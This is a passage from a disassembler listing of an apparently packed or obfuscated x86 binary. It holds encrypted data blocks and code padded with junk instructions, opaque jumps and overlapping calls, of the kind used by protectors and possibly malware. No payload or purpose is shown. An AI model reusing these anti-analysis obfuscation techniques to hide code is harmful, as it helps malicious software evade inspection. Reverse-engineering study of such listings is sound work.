		dd 0CA8BFBBFh, 0DE9F18Bh, 24000000h, 0DB41C830h, 0A7C8E699h
		dd 32943FFAh, 13E8h, 8D0C9D00h,	78CC2F8Ch, 9E4CFF5Ch, 7A6422E9h
		dd 76AD636Fh, 0F3BF0F59h, 0B9CFBF0Fh, 226D39DAh, 9F78166h
		dd 0F28B66DCh, 0DBE5BF60h, 7E95541h, 0CD000000h, 96123D9Bh
		dd 66619092h, 0F07B8BEh, 4B3CEB7h, 9355BA66h, 12E9h, 0DE5F1000h
		dd 8ADAA4B1h, 2A7E60EFh, 8CE5F80h, 0F32ECD5h, 0C8Ch, 81666000h
		dd 6647D9EAh, 885CC281h, 0E8F38B61h, 0Fh, 8FF04E44h, 0C617454Dh
		dd 0D99B2993h, 8B8C8BBFh, 0B9665ADFh, 0BE666764h, 13E924FDh
		dd 50000000h, 0CC4B0761h, 5FCE0D4h, 3DCCA98h, 41529E27h
		dd 8AF8B03Dh, 0D8B70FFCh, 0AE8h, 8501C500h, 3CEEA63Ch
		dd 0F9310C1h, 289h, 59616000h, 7797C881h, 8B6671D2h, 0BE9DEh
		dd 9B6C0000h, 76204832h, 59ABDF65h, 13E3803Dh, 0B8A0F60h
		dd 0E8000000h, 5, 0E3F93BCCh, 0BA665B85h, 6661AC9Ah, 57A23DBEh
		dd 66D68B60h, 61DCC7B8h, 0DA8B665Eh, 0D3BF0F52h, 0CA81665Fh
		dd 0D88A67E1h, 8B0FD48Ah, 0Fh, 0AE9h, 2A1F2400h, 0F7279297h
		dd 0FFC68E2h, 88Eh, 8B666000h, 0DBBF0FDFh, 0D08B6661h
		dd 0BE857h, 5FB40000h, 32A65852h, 516ED365h, 5FB7B6FFh
		dd 0FFB8B5Bh, 178Bh, 0EE800h, 59BA0000h, 2872CA8Eh, 5ACF78F5h
		dd 8A042F94h, 58FA8B66h, 1840Fh, 0E9FC0000h, 5,	0CACA761Fh
		dd 0EB816696h, 81607B1Dh, 681B88C3h, 57B4615Ch,	0B70FF960h
		dd 0F08A61C8h, 0AE9h, 1AB4C300h, 0ACA97B74h, 0FBE563Fh
		dd 8B66F2B7h, 0F0BF0FC1h, 820Fh, 66600000h, 840FF18Bh
		dd 3, 61F1B70Fh, 0D88166F5h, 850F0DE7h,	3, 60C38B66h, 2870Fh
		dd 61600000h, 0E861F18Bh, 0Bh, 5FA69FB9h, 24A71294h, 66E97E91h
		dd 665EF78Bh, 0B860C28Bh, 53BE9E9Dh, 1A840Fh, 14E80000h
		dd 0CC000000h, 9FA65F28h, 74C8ED8Dh, 0E7D5C551h, 0DD975B86h
		dd 5B119474h, 0F3BF0F61h, 0E9E6C580h, 9, 7E523D5Bh, 4E067E24h
		dd 0F0816022h, 5CE8136Dh, 8C0F60h, 66000000h, 0C0E8DE81h
		dd 0BE96161h, 94000000h, 9C4F68CBh, 71B9A04Fh, 0EE8AB24h
		dd 0A0000000h, 62563BD3h, 0D7B731C2h, 1B8A4EBEh, 59CEB732h
		dd 1FC6B966h, 0E96098B4h, 0Fh, 78C52210h, 2DE850BFh, 902D97ABh
		dd 0E99A623Eh, 0Ah, 3542F4D2h, 0B85F5A70h, 0E961FAD0h
		dd 9, 654EF3C2h, 14CB4027h, 0B1D78B6Ch,	0D88B5154h, 0AE858h
		dd 0A34F0000h, 50342A6Ah, 72DACB7h, 28A0Fh, 0E88A0000h
		dd 0CE85Eh, 0DDDF0000h,	9AC5744Ch, 5E68C42Ah, 86B0A2B6h
		dd 25EE815Eh, 0E90B0483h, 8, 0CDACD735h, 46C759C5h, 8E8h
		dd 6037BB00h, 9F78A576h, 0B860586Fh, 0BDED5F6h,	8161C88Ah
		dd 996F0CD1h, 10E90Dh, 0ACE70000h, 6FE55FBDh, 0CC5063E4h
		dd 68FAE62Bh, 8B523024h, 840F5FD7h, 12h, 0DE9h,	4CBA2A00h
		dd 5B34D34Bh, 0D46661Dh, 0BB49D7Dh, 3810F60h, 0F000000h
		dd 5E9D8BFh, 2E000000h,	7E66C5D8h, 97CFBF61h, 0BF663CC3h
		dd 0F514D2Fh, 0E95ED9B7h, 0Eh, 0BAC1860Dh, 0AE88C8B1h
		dd 0AC8F6917h, 9E9F6A5h, 0BC000000h, 952B7136h,	4CE56A84h
		dd 2D8D0Fh, 14E80000h, 0E1000000h, 0F8092D86h, 0B347CAA5h
		dd 0BEB36144h, 0E09FA3F2h, 0E9A64BD1h, 0Eh, 3811F865h
		dd 3CCE0B50h, 9AEE1CA1h, 8B5AC785h, 12E9C6h, 0EF970000h
		dd 295335B7h, 0DF32F05Bh, 0A7E2441Eh, 0C44B9F34h, 0FCFB70Fh
		dd 81h,	0B70F6000h, 8D0FFAh, 61000000h,	596BBA66h, 68C0Fh
		dd 0EA810000h, 7D6EB015h, 0FDCE8160h, 8B0D6FA6h, 8B0F61D8h
		dd 4, 0B096BB66h, 8E9h,	607C6600h, 5D76405h, 18D0FC1h
		dd 0F5000000h, 816EE180h, 1D3E16C3h, 0C3B70F02h, 0F95DC580h
		dd 7101BBEh, 0BF66FC43h, 0CE94BA9h, 31000000h, 4B8C6902h
		dd 26539C93h, 0FE97245h, 148Dh,	0FE900h, 4E770000h, 45EDF801h
		dd 94AC70F7h, 0ED1E4629h, 7E85Bh, 0D2D0000h, 8119AE52h
		dd 58FE8BA3h, 0ECD08166h, 0BE952h, 0F4480000h, 931DCE0h
		dd 880D33F4h, 10E9F8FDh, 79000000h, 0ADE21A12h,	3BC0955Fh
		dd 2D146ACDh, 0E953E3DFh, 14h, 0E29F95ACh, 0EEE5FC40h
		dd 0F468AA81h, 0E200A0C0h, 0FD5D818Bh, 0CE956h,	64080000h
		dd 90C59A8h, 7196B359h,	0F5586E8Bh, 59E68A51h, 0EE9h, 84084700h
		dd 0DE4CBFh, 0AB2746B0h, 0F87D441h, 0B866F6BFh,	7AB54732h
		dd 800FF8B1h, 6, 5A91DB81h, 0BF0F40A4h,	138A0FFBh, 53000000h
		dd 0CE9h, 6888E200h, 890FA3E2h,	57E5D744h, 0F1805B8Eh
		dd 52D18B1Bh, 8C0F57h, 5E000000h, 6670B759h, 0D88BD98Bh
		dd 0EE952h, 0C2280000h,	0F849A22Fh, 82192165h, 5F741E0Fh
		dd 57C68B5Ah, 81665FF9h, 0E976E1EBh, 0Ah, 0D451F573h, 85C07F17h
		dd 8B51D3F5h, 0F88A5ACFh
		dd 6810Fh, 0F0810000h, 50F1317Ch, 10E9h, 0F6EABE00h, 0D60FCAFDh
		dd 2CB43DDDh, 0EC95E3C9h, 8B6060F2h, 25E281F9h,	6147196Eh
		dd 0C3816661h, 8F0F3D84h, 3, 66DA8B66h,	0CD25DB81h, 13E9F9h
		dd 67600000h, 5FA5E7BAh, 7BEB821Dh, 0C0CD8996h,	0B28E71C3h
		dd 2890FCBh, 0B5000000h, 0F98B6644h, 0D68B6060h, 0EE9h
		dd 12A73000h, 0F734DFE8h, 310934C9h, 617BB38Ch,	2860F61h
		dd 8A000000h, 0C98166F4h, 66F96FD5h, 0EA80D98Bh, 0CFBF0FEEh
		dd 48E0Fh, 0B8660000h, 0BF6649CEh, 8B668858h, 0AE9C6h
		dd 5F620000h, 0F37BF6F0h, 0E89AD391h, 0EE8h, 0C3148000h
		dd 0BFB25A65h, 0B3B206AAh, 56BD5DC1h, 5959B1B0h, 12E9h
		dd 87B15300h, 4CB8EB49h, 607F7741h, 7D2C482Eh, 668E8DA6h
		dd 0E98D01BFh, 6, 0BCE59ACEh, 870FF171h, 0
; ---------------------------------------------------------------------------
		push	ecx
		jmp	loc_607460
; ---------------------------------------------------------------------------
		sbb	[edx+edx*8+75h], bh
		imul	edi, ds:869E628h, 7C0449E6h


loc_607460:				; CODE XREF: .XComp0:0060744Dj
		pop	eax
		clc
		push	ebx
		push	edi
		mov	bx, 208h
		pop	ebx
		pop	edi
		jnz	loc_607474
		mov	ax, 8358h


loc_607474:				; CODE XREF: .XComp0:0060746Aj
		clc
		jno	loc_607486
		jmp	loc_607486
; ---------------------------------------------------------------------------
		dd 7193AEECh
		db 0FEh, 9Fh
; ---------------------------------------------------------------------------


loc_607486:				; CODE XREF: .XComp0:00607475j
					; .XComp0:0060747Bj
		and	cl, 0Ch
		mov	ecx, 41338732h
		mov	al, cl
		mov	edi, esi
		mov	ax, 0ECD1h
		mov	eax, 2745554Ch
		jmp	loc_6074B1
; ---------------------------------------------------------------------------
		dd 0A408678Eh, 8DF01C83h, 0CCD5E8A8h, 0B93C863Eh
		db 15h
; ---------------------------------------------------------------------------


loc_6074B1:				; CODE XREF: .XComp0:0060749Bj
		mov	esi, eax
		adc	dh, 51h
		or	cl, 4
		jmp	loc_6074C4
; ---------------------------------------------------------------------------
		dw 2711h
		dd 0FBEA64Ch
; ---------------------------------------------------------------------------


loc_6074C4:				; CODE XREF: .XComp0:006074B9j
		mov	cl, 0B2h
		mov	dx, di
		jnb	loc_6074D2
		push	esi
		cld
		pop	edx


loc_6074D2:				; CODE XREF: .XComp0:006074C9j
		mov	di, dx
		jmp	loc_6074E5
; ---------------------------------------------------------------------------
		dw 0A486h
		dd 8644B2B1h, 0A1101F6Ah
		db 0A8h
; ---------------------------------------------------------------------------


loc_6074E5:				; CODE XREF: .XComp0:006074D5j
		mov	bx, 0E066h
		jo	loc_6074F1
		mov	edi, ebx


loc_6074F1:				; CODE XREF: .XComp0:006074E9j
		pusha
		mov	di, 9717h
		popa
		stc
		mov	edi, esi
		jmp	loc_607510
; ---------------------------------------------------------------------------
		stc
		db	2Eh
		pop	es
		push	cs
		mov	edx, 3EB4B7E8h
		db	3Eh
		add	al, dl
		push	edx
		mov	bl, 0E1h
		shr	al, cl


loc_607510:				; CODE XREF: .XComp0:006074FAj
		mov	dx, 0FB49h
		jmp	loc_607528
; ---------------------------------------------------------------------------
		db 40h,	0F4h, 78h
; ---------------------------------------------------------------------------
		xor	al, 0EEh
		and	al, [ebx-56h]
		and	ah, [edi-2BE73E0Ch]
		int	3		; Trap to Debugger


loc_607528:				; CODE XREF: .XComp0:00607514j
		jmp	loc_607539
; ---------------------------------------------------------------------------
		db 5Bh,	6, 41h
		dd 0D2410169h, 0BE322908h
		db 0E3h
; ---------------------------------------------------------------------------


loc_607539:				; CODE XREF: .XComp0:loc_607528j
		mov	ecx, 1493FA71h
		jmp	loc_60754F
; ---------------------------------------------------------------------------
		inc	edi
		xchg	eax, esi
		std
		sub	cl, ds:4FE1A619h
		pop	ds
		scasd
		push	ss


loc_60754F:				; CODE XREF: .XComp0:0060753Ej
		jmp	loc_607566
; ---------------------------------------------------------------------------
		dd 46EA2E52h, 17005B99h, 30F0C91Bh, 0D4B6F824h
; ---------------------------------------------------------------------------
		xchg	eax, edx
		setalc


loc_607566:				; CODE XREF: .XComp0:loc_60754Fj
		clc
		mov	si, 15EEh
		mov	ax, 72A1h
		jmp	loc_607586
; ---------------------------------------------------------------------------
		mov	eax, 53755C4Eh
		imul	esi, ebx, 0E784709Fh
		pop	ds
		test	edx, 33BDF8B1h


loc_607586:				; CODE XREF: .XComp0:0060756Fj
		mov	di, dx
		stc
		jle	loc_607592
		mov	bh, dl


loc_607592:				; CODE XREF: .XComp0:0060758Aj
		jmp	loc_60759F
; ---------------------------------------------------------------------------
		db 6Fh
; ---------------------------------------------------------------------------
		xor	dh, [ebx+ecx*8-7D463CB8h]


loc_60759F:				; CODE XREF: .XComp0:loc_607592j
		jmp	loc_6075AE
; ---------------------------------------------------------------------------
		dd 9532F6A9h, 366F0705h
; ---------------------------------------------------------------------------
		repne stosd


loc_6075AE:				; CODE XREF: .XComp0:loc_60759Fj
		xor	dx, 32BBh
		clc
		call	sub_6075C8
		aam	36h
		stc
		push	eax
		and	byte ptr [eax-35h], 74h
		dec	edx
		inc	edx
		mov	ebx, 0FDCEFA74h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_6075C8	proc near		; CODE XREF: .XComp0:006075B4p
		jmp	sub_6075D7
sub_6075C8	endp

; ---------------------------------------------------------------------------
		db 3Dh,	4Ch, 54h
		dd 8BB24E16h
		db 31h,	9Eh, 34h

; =============== S U B	R O U T	I N E =======================================



sub_6075D7	proc near		; CODE XREF: sub_6075C8j
		pop	ebx
		call	near ptr loc_6075EF+1
		adc	esi, ebx
		sub	[ebx], edi
		db	64h
		mov	ebp, 72737C47h
		pop	ss
		pop	ebp
		mov	ds:2772E3B0h, eax
		pop	ss


loc_6075EF:				; CODE XREF: sub_6075D7+1p
		mov	eax, 0CE9h
sub_6075D7	endp ; sp-analysis failed

		add	[eax+ebp], bh
		scasd
		mov	ecx, 0D4CB8056h
		xchg	eax, ecx
		dec	esi
		mov	ebx, 0EA815870h
		ficom	dword ptr [ebx-7Eh]
		sbb	ecx, [edi]
		mov	edi, 4830FF2h
; ---------------------------------------------------------------------------
		dw 0
		dd 0CA8B5100h, 0C3E08059h, 0BA66F18Bh, 0F56CDD9h, 8Eh
		dd 0F7815F00h, 721D05F5h, 11E9h, 0BC9E2900h, 0C08D18C0h
		dd 0B4B61883h, 0B1CF15AFh, 0E38A464Bh, 410EB966h, 14E8h
		dd 0E2592600h, 0CF36A2EAh, 2FBEC6C8h, 3DE8408Eh, 0C1B7CB11h
		dd 13CE8079h, 35BF6658h, 38D9801Fh, 0C8A0Fh, 8A0F0000h
		dd 6, 830Fh, 0D1810000h, 6ED14D94h, 0BB1DEA81h,	14E84520h
		dd 8C000000h, 3B45D931h, 2F3E87D0h, 1709120Eh, 48C00C5Ah
		dd 66276A3Eh, 0E3BBC281h, 0F98B6659h, 16BEF381h, 0D681466Eh
		dd 630F8ED0h, 5E9h, 1B3A2900h, 0FA8B0982h, 0B7F38B66h
		dd 138D0FB8h, 0E9000000h, 0Eh, 2A25527Ah, 0A72330C5h, 29CCAEAFh
		dd 665072CEh, 0FA3ED281h, 66FA8B5Fh, 5C9BD281h,	0B3D08B66h
		dd 11E815h, 0FCA10000h,	7344B574h, 0EBF52D3Ah, 0A5486D64h
		dd 5E18725Ah, 5896F081h, 0F08B1827h, 5E9h, 0D8B27D00h
		dd 0B70FF9B9h, 665E51C8h, 850FCB8Bh, 2,	14E8D98Ah, 5E000000h
		dd 1A9559D3h, 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh,	0E9630E6Eh
		dd 0Eh,	0DB5EC7A1h, 4CD976FCh, 31D20030h, 0BF5ADDA7h, 73D5D517h
		dd 0C8A0Fh, 800F0000h, 6, 8C0Fh, 0BA660000h, 80B1AC5Eh
		dd 28F0Fh, 0F48A0000h, 0E930B9F5h, 81512D95h, 8122E1h
		dd 6E95E53h, 36000000h,	0B2F11D5Ch, 3FD88184h, 800D3367h
		dd 0C5807FC3h, 8AF08136h, 660559F5h, 5060D78Bh,	7161EA81h
		dd 0B3596836h, 5E9619Fh, 0
		dd 0E0664F32h, 9BE88166h, 0C88B66CCh, 0B4C30EB9h, 8166F847h
		dd 0E853F5F3h, 6, 0EC78FC85h, 8B66F547h, 665359FBh, 0E959F08Bh
		dd 8, 305C9BA6h, 76CD8F70h, 85C1BB60h, 536109C7h, 0B4582AB5h
		dd 98C0FA9h, 60000000h,	66DAB70Fh, 61D6AEBBh, 0CE8B6656h
		dd 0FCF8A59h, 81FCD3B7h, 588B34D6h, 0EE949h, 29B00000h
		dd 0B559B3CAh, 0A9527617h, 809BEA95h, 0F8F8BF0Fh, 0B720E281h
		dd 8B6611D9h, 0C639BEFEh, 8B0F7E9Fh, 3,	0E9CF8B66h, 8
		dd 0B7027F49h, 42B903EEh, 5E8h,	7F2E2100h, 0BF0F3E51h
		dd 0E9F85AFEh, 0Dh, 909DCABBh, 83DBA38Eh, 0BE032505h, 41D081C2h
		dd 8039528Eh, 10E95BD7h, 0AB000000h, 0DF223265h, 0ABA4B08Eh
		dd 98D741ACh, 66CCA14Ch, 0AE8CF8Bh, 0C9000000h,	0B7DE6D0Ah
		dd 772C5Ah, 0BB75713h, 0B8665859h, 0D8B10A31h, 148C0Fh
		dd 0FE90000h, 0F1000000h, 3CF64B81h, 9E612909h,	7C44A0E4h
		dd 0DA8BE25Eh, 9830Fh, 820F0000h, 3, 0E9C9BF0Fh, 9, 25605CABh
		dd 62EF1CF0h, 0A8D0FE1h, 0F000000h, 483h, 16BE6600h, 0ABBDBA17h
		dd 0CC80719Eh, 6E99Bh, 0BE0D0000h, 0C2FDBE24h, 0FCEB70Fh
		dd 8166D7BFh, 0B683A6F0h, 0CE9D2h, 90280000h, 773B92E3h
		dd 9BD8B4C9h, 0EE81475Eh, 0D25D5DFh, 8B6681B3h,	0B058BACAh
		dd 0D98B19E3h, 1C8C0Fh,	0E8530000h, 14h, 0B5419A22h, 502E388Fh
		dd 0BCA851E1h, 16CE45AAh, 8DAE5E10h, 8BB35858h,	0F88B6660h
		dd 0DE8h, 91AAD000h, 0DE5B9F44h, 32FF62D5h, 0BE97224h
		dd 0DD000000h, 62AE2D7Dh, 0B8B7FC2Ah, 615A6AF8h, 8ADE8B66h
		dd 8D0FE5h, 0E8000000h,	0Eh, 86476763h,	0C3B808BBh, 368A6B29h
		dd 870FD1E7h, 16h, 10E8h, 25330C00h, 299B5921h,	8769DFF3h
		dd 954214F1h, 0F5F5AD5h, 284h, 66E78A00h, 60CF2CBEh, 0BE9h
		dd 710A0500h, 414788D7h, 4B1D9ED8h, 6E8h, 5F469800h, 0BF6C39F4h
		dd 48BA8133h, 0EE96158h, 0E8000000h, 0EFED6ABCh, 8F643D8Dh
		dd 6C2BA271h, 58A0F5Eh,	0BE000000h, 1128F203h, 0E28A3CB6h
		dd 9F73DF81h, 0BE8564Ch, 2B000000h, 0F6E1AF40h,	0CAA718FAh
		dd 870F96C1h, 5, 682E02BFh, 8B0F5F64h, 17h, 11850Fh, 0CE90000h
		dd 0B7000000h, 2767835Dh, 0E72C2AB2h, 0F5A8BDB7h, 0DE6E281h
		dd 0CE8B0F0Eh, 5F5C981h, 0EE95DCDh, 94000000h, 252D904h
		dd 0C6A2DA8Ch, 963FECB0h, 6E9F925h, 0E4000000h,	60F4C86Dh
		dd 0E85F560Dh, 8, 0F9005D62h, 1670212Ah, 13E858F9h, 0CE000000h
		dd 9E35F8F9h, 0B809610h, 6B55D81Eh, 0AA351CF6h,	0F858E8C4h
		dd 11E9h, 126ADB00h, 0DB581D2Dh, 5E3C5D26h, 0C66C5322h
		dd 810FDF6Ah, 8, 880F60h, 61000000h, 10E8h, 73C83200h
		dd 3A6F5B7Eh, 840EC961h, 85E1BCF5h, 2820FDCh, 8B000000h
		dd 10E85BD7h, 0CC000000h, 8E9194F4h, 4AE4F892h,	1CBD03D2h
		dd 0E833562Ah, 0Ah, 5DDF4726h, 970D107Bh, 25BBDD0Fh, 5908A105h
		dd 4CD6815Bh, 662C89DAh, 0B66A33BEh, 0CE8B66D8h, 12E950h
		dd 0C6D30000h, 0F29BF47h, 2CE2133Fh, 0BE4AA8DFh, 0B88F354Bh
		dd 0D88B665Bh, 4860Fh, 0B9660000h, 0E9FCC297h, 7, 0B4CD35D1h
		dd 0F580B6BCh, 2870Fh, 0F8B00000h, 1A810Fh, 0EE80000h
		dd 86000000h, 80646015h, 5B53FFC9h, 883A64E2h, 830FD0h
		dd 59000000h, 6AD08060h, 61D7B70Fh, 89E38166h, 0F77B1E3h
		dd 0BE9FBBFh, 19000000h, 30917E89h, 71A4461Fh, 0D18BF929h
		dd 13E8h, 0CA343400h, 3332BCD0h, 330CFB73h, 9B592125h
		dd 69DFF329h, 75BBD181h, 605837E6h, 0E9CE8B60h,	14h, 5BAB71B6h
		dd 0BFF311Ah, 141B547Fh, 0B4F1273Ch, 0A2ACB600h, 0D7B70F61h
		dd 0B70FFC61h, 0BE8CFh,	1CEE0000h, 92DA1C8Dh, 8435BEACh
		dd 6658F98Ah, 0CE8BF08Bh, 29B966h, 168B0Fh, 80600000h
		dd 0CE9DAC0h, 0EC000000h, 0DE26BAC4h, 0D27E58BAh, 6174322Fh
		dd 11E9h, 0FE8B6100h, 15BA2DF1h, 3A5B8BACh, 7DC95E45h
		dd 0D681F4E1h, 474D495Ch, 0CD39BB66h, 9E9h, 94C4D600h
		dd 0F7836DE1h, 8AF5814Eh, 0FE9F9h, 3A240000h, 5083B848h
		dd 0C5B4F4ACh, 77F541DAh, 0E580F9D3h, 4C68053h,	0CE9h
		dd 0EC796D00h, 286C5D56h, 0ED26EB7Fh, 0F3BF0FF3h, 0EFD08166h
		dd 168C0F0Fh, 0E9000000h, 11h, 9131D4ABh, 0DB17C0E1h, 16EC387h
		dd 0D41B1418h, 8F0FE1h,	0F9000000h, 0D8B70F60h,	0FDB8BE61h
		dd 66F85380h, 0BE66C88Bh, 80F91594h, 0C981F4DFh, 66E34034h
		dd 0ED805652h, 0F5F5922h, 810FD6B7h, 2,	0F6805B50h, 0B75853D6h
		dd 51DF8B6Fh, 13E860h, 17B90000h, 0D0C351CAh, 0D59A9E5Fh
		dd 606FE1C6h, 84C0F8FEh, 13E95F37h, 95000000h, 0CA6BE949h
		dd 4F48F7ADh, 0D0C93B7Ch, 0D4994965h, 5F61DA1Fh, 8166C28Bh
		dd 668102D3h, 9E9FA8Bh,	90000000h, 0A4A2CDFh, 5A78EAA0h
		dd 13840FFCh, 0E9000000h, 0Eh, 2546CE75h, 8101A986h, 7B5B2AFBh
		dd 0B70FA3A6h, 12E9F7h,	42230000h, 0EFC0495Ah, 0AD1B3BC6h
		dd 0E9CBA3FEh, 89788FF5h, 0E1EB8166h, 0C0B70F31h, 14E8h
		dd 12C48400h, 0A385FEB7h, 46A0D618h, 0DF30D117h, 17F5E18Ch
		dd 0D7C880B6h, 46BB665Eh, 0DB81666Ch, 5EB11BE5h, 0DBBF0FF9h
		dd 14E9h, 280E6500h, 0DCD65C81h, 5189A2EFh, 0AD42BC80h
		dd 0B26E13Fh, 810F54h, 66000000h, 4BBAF081h, 4AC660BFh
		dd 0BF0F6004h, 61D88BC6h, 5FCB8A53h, 95D88160h,	801FF1A2h
		dd 81613AD0h, 0DE3DF3C8h, 0E9D78A5Ch, 0Dh, 51300317h, 8900CD49h
		dd 77BBE307h, 84E48049h, 0EBDF8166h, 43E281FAh,	0E9309CC3h
		dd 8, 14FAFAC8h, 5F73B7BDh, 0BDB9EB81h,	79B37903h, 6E9F08Bh
		dd 2D000000h, 7EF273Ah,	13E979h, 1B9E0000h, 0F7182AE6h
		dd 14D9EECDh, 8543E2Ah,	0E7FE09EBh, 0FE8A9h, 0DBD70000h
		dd 22E07A47h, 0D6C10AF5h, 3E3D4F6Fh, 13870F05h,	0E9000000h
		dd 0Eh,	0C0C0D46Ch, 0CC3D65FCh,	1A995766h, 8A5B3CA7h, 0F560F5D4h
		dd 5E8h, 84BD3B00h, 0B70F8DD2h,	8B615FDBh, 0E281FEh, 0F7A6B13h
		dd 0D88BDFB7h, 963DA3BAh, 0C6F7816Ch, 66264E2Ah, 8D0FC78Bh
		dd 4, 157BB66h,	48D0Fh,	0B8660000h, 9E9A708h, 0BB000000h
		dd 4D01BD26h, 15F54F97h, 51CEB760h, 615AE8B1h, 66CABF0Fh
		dd 512F081h, 5E9h, 0D1D69B00h, 30B2B661h, 57CF8B66h, 0DEB70F5Fh
		dd 13E9h, 10443400h, 91B0C1DCh,	0A1D80A52h, 7A51C3E0h
		dd 6D5CA6CAh, 7E9h, 5F24E500h, 0B50CA582h, 78CB8166h, 0F18166F0h
		dd 55BEDBCDh, 665323FAh, 0E9631CB8h, 10h, 693FE52Fh, 0F4435427h
		dd 0C93F053Dh, 0AD262B8Ch, 8B66D98Bh, 0C280F8CBh, 49D7BB3Eh
		dd 850F736Eh, 2, 800FD48Ah, 0Ch, 68C0Fh, 860F0000h, 0
; ---------------------------------------------------------------------------
		jz	loc_607F68
		xor	esi, 2ADC7B34h


loc_607F68:				; CODE XREF: .XComp0:00607F5Cj
		jmp	loc_607F7A
; ---------------------------------------------------------------------------
		db 42h,	71h, 9Fh
		dd 0CF3F5BEEh, 2182C3BBh
		db 58h,	0CFh
; ---------------------------------------------------------------------------


loc_607F7A:				; CODE XREF: .XComp0:loc_607F68j
		movzx	eax, si
		pusha
		movsx	eax, di
		mov	al, 20h
		popa
		mov	edi, edx
		pusha
		stc
		jle	loc_607F92
		mov	si, 0F75Eh


loc_607F92:				; CODE XREF: .XComp0:00607F88j
		popa
		call	near ptr loc_607FA1+3
		inc	ebx
		sbb	[eax+esi*8-23h], ecx
		shl	dword ptr [bx+si+0], 1


loc_607FA1:				; CODE XREF: .XComp0:00607F93p
		mov	ds:0DF8BFA64h, al
		pop	edx
		mov	edi, 698D3CD8h
		jmp	loc_607FB6
; ---------------------------------------------------------------------------
		db 0Eh,	0CDh, 0FFh
; ---------------------------------------------------------------------------
		mov	bh, 45h


loc_607FB6:				; CODE XREF: .XComp0:00607FACj
		pusha
		clc
		jp	loc_607FCC
		jmp	loc_607FCC
; ---------------------------------------------------------------------------
		db 0CFh
		dd 0FF7C7386h, 0F78CB5ACh
; ---------------------------------------------------------------------------


loc_607FCC:				; CODE XREF: .XComp0:00607FB8j
					; .XComp0:00607FBEj
		popa
		mov	cx, si
		pusha
		mov	dx, 7898h
		cld
		popa
		jg	loc_607FE3
		xor	eax, 4A4BC35Fh


loc_607FE3:				; CODE XREF: .XComp0:00607FD7j
		mov	edi, 3AD9ABh
		adc	si, 48FDh
		mov	dx, 4B8Fh
		jmp	loc_607FFB
; ---------------------------------------------------------------------------
		dw 0B960h
		db 0B1h, 0Dh, 2Eh
; ---------------------------------------------------------------------------


loc_607FFB:				; CODE XREF: .XComp0:00607FF1j
		jmp	loc_608012
; ---------------------------------------------------------------------------
		dd 0D126D72Fh, 75D90191h, 0EEAD8B2Eh, 0CC26D8F9h
		db 0A1h, 4Ch
; ---------------------------------------------------------------------------


loc_608012:				; CODE XREF: .XComp0:loc_607FFBj
		mov	esi, 5A4D974Eh
		clc
		sbb	ecx, 2F1812A5h
		jmp	loc_608033
; ---------------------------------------------------------------------------
		db 0D5h
		dd 0D427E95Dh, 9A2FCA9Dh, 21E1800Ch
		db 7Dh,	0C9h, 0D2h
; ---------------------------------------------------------------------------


loc_608033:				; CODE XREF: .XComp0:0060801Ej
		movsx	edi, ax
		mov	ecx, ebx
		or	eax, 1E957BC0h
		jmp	loc_608048
; ---------------------------------------------------------------------------
		mov	esp, 5AD161B2h


loc_608048:				; CODE XREF: .XComp0:0060803Ej
		xor	ax, 23C6h
		mov	di, cx
		stc
		js	loc_60805A
		movzx	ebx, si


loc_60805A:				; CODE XREF: .XComp0:00608051j
		jmp	loc_608069
; ---------------------------------------------------------------------------
		db 27h
		dd 0E6935530h, 6964A7D2h
; ---------------------------------------------------------------------------
		scasb


loc_608069:				; CODE XREF: .XComp0:loc_60805Aj
		mov	al, 3Ah
		mov	bl, 0Ch
		push	ecx
		or	eax, 5CB74569h
		pop	edi
		adc	dh, 1Ah
		jno	loc_608080
		mov	bl, 0D7h


loc_608080:				; CODE XREF: .XComp0:00608078j
		jle	loc_608090
		pusha
		mov	esi, 4EB96CBh
		movzx	edx, di
		popa


loc_608090:				; CODE XREF: .XComp0:loc_608080j
		mov	dx, bx
		jnb	loc_60809D
		mov	cx, 1A73h


loc_60809D:				; CODE XREF: .XComp0:00608093j
		mov	si, bx
		mov	ebx, ecx
		jmp	loc_6080B0
; ---------------------------------------------------------------------------
		db 5Fh
		dd 18EFF2B2h, 4D765882h
; ---------------------------------------------------------------------------


loc_6080B0:				; CODE XREF: .XComp0:006080A2j
		push	edx
		mov	dl, 0Dh
		pop	eax
		mov	si, 0AEC7h
		mov	ebx, 2C6C7F1Bh
		push	ecx
		mov	cx, 0AB1Ch
		pop	esi
		movzx	edi, ax
		mov	cl, 0BBh
		push	ebx
		mov	dx, si
		pop	edi
		mov	eax, edx
		call	sub_6080DD
		fisubr	word ptr [eax-18h]
		xchg	eax, ebp
		mov	ds:0C80006E8h, eax

; =============== S U B	R O U T	I N E =======================================



sub_6080DD	proc near		; CODE XREF: .XComp0:006080CFp
		call	near ptr loc_6080E8+3
		sbb	[ecx+75h], dh
		push	esi
		xor	al, 0FCh


loc_6080E8:				; CODE XREF: sub_6080DDp
		sbb	[edi+5E5FF57Bh], edx
sub_6080DD	endp ; sp-analysis failed

		mov	ah, 0ECh
		cmc
		movzx	eax, bx
		call	sub_608107
; ---------------------------------------------------------------------------
		db 0A8h, 0C4h, 0F6h
		dd 0E8465B27h, 0C5FEF7B3h
; ---------------------------------------------------------------------------
		mov	word ptr [edi+26h], fs

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_608107	proc near		; CODE XREF: .XComp0:006080F4p
		sub	esi, 2EB477Eh
		pop	edx
		call	sub_608123
		aam	51h
		and	eax, 2990CE57h
		jmp	far ptr	0D267h:0C8264CA7h
sub_608107	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FEh, 7Ah

; =============== S U B	R O U T	I N E =======================================



sub_608123	proc near		; CODE XREF: sub_608107+7p
		jp	loc_608137
		jmp	loc_608137
; ---------------------------------------------------------------------------
		dw 23ECh
; ---------------------------------------------------------------------------
		or	dword ptr [ebp-64379577h], 0FFFFFFAEh


loc_608137:				; CODE XREF: sub_608123j sub_608123+6j
		pop	eax
		mov	edx, 247BD721h
		mov	si, 1827h
		mov	di, 0FA36h
		jmp	loc_608156
; ---------------------------------------------------------------------------
		dw 98E7h
		dd 9FE34B3Ch, 0FFFA6720h
		db 5Ah,	0E4h
; ---------------------------------------------------------------------------


loc_608156:				; CODE XREF: sub_608123+22j
		jbe	loc_60815F
		mov	ax, di


loc_60815F:				; CODE XREF: sub_608123:loc_608156j
		cmc
		mov	edi, ecx
		movsx	ecx, bx
		cld
		mov	si, 0E449h
		mov	dl, 53h
		pusha
		push	ecx
		call	near ptr loc_608180+1
		add	dh, [ecx+16F1B920h]
